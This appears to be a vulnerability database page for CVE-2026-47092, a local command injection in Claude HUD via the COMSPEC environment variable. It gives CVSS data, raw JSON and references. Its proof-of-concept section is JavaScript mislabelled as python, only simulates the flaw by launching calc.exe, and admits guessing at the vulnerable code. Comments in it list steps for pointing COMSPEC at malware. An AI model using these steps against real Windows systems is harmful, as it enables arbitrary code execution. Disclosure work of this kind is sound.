Security Vulnerability Report
中文
CVE-2026-47092 CVSS 7.8 HIGH

CVE-2026-47092

Published: 2026-05-18 20:16:40
Last Modified: 2026-05-18 20:19:31

Description

Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the COMSPEC environment variable. Attackers can set COMSPEC to an arbitrary binary path before claude-hud performs its version check, causing execFile() to execute the attacker-supplied executable with cmd.exe arguments, resulting in arbitrary code execution on Windows systems.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Claude HUD <= 0.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-47092 // This PoC demonstrates the vulnerability by setting COMSPEC to a benign executable (calc.exe) // and simulating the version check behavior. const { execFile } = require('child_process'); const path = require('path'); // 1. Attacker sets the environment variable to a malicious path (simulated with calc.exe) process.env.COMSPEC = 'C:\\Windows\\System32\\calc.exe'; console.log(`[+] Exploit: COMSPEC set to ${process.env.COMSPEC}`); // 2. Vulnerable code simulation (extracted from typical version check logic) // The application attempts to execute a command, often relying on the system shell. // In the vulnerable version, the path to the shell is derived from process.env.COMSPEC. // Note: The actual vulnerable code likely calls execFile with a command that triggers shell usage // or explicitly references the environment variable for the shell path. // Here we simulate the call that leads to the execution of the binary set in COMSPEC. // Simulating the execution flow that resolves COMSPEC const shellPath = process.env.COMSPEC || 'cmd.exe'; const args = ['/c', 'echo Checking version...']; console.log(`[*] Attempting to execute: ${shellPath} ${args.join(' ')}`); // 3. Trigger execution // If vulnerable, calc.exe will open instead of just printing text or alongside it. execFile(shellPath, args, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log(`Stdout: ${stdout}`); }); /* * Exploitation Steps: * 1. Ensure Claude HUD <= 0.0.12 is installed on Windows. * 2. Set COMSPEC environment variable to point to a malicious payload. * set COMSPEC=C:\path\to\malware.exe * 3. Trigger the Claude HUD version check (automatic or manual). * 4. Observe that malware.exe is executed with the privileges of the user running Claude HUD. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-47092", "sourceIdentifier": "[email protected]", "published": "2026-05-18T20:16:40.040", "lastModified": "2026-05-18T20:19:31.307", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the COMSPEC environment variable. Attackers can set COMSPEC to an arbitrary binary path before claude-hud performs its version check, causing execFile() to execute the attacker-supplied executable with cmd.exe arguments, resulting in arbitrary code execution on Windows systems."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://github.com/jarrodwatts/claude-hud/commit/234d9aad919b51326a43bcf90b45ae35c23afc30", "source": "[email protected]"}, {"url": "https://github.com/jarrodwatts/claude-hud/issues/485", "source": "[email protected]"}, {"url": "https://github.com/jarrodwatts/claude-hud/pull/487", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/claude-hud-arbitrary-command-execution-via-comspec-environment-variable", "source": "[email protected]"}]}}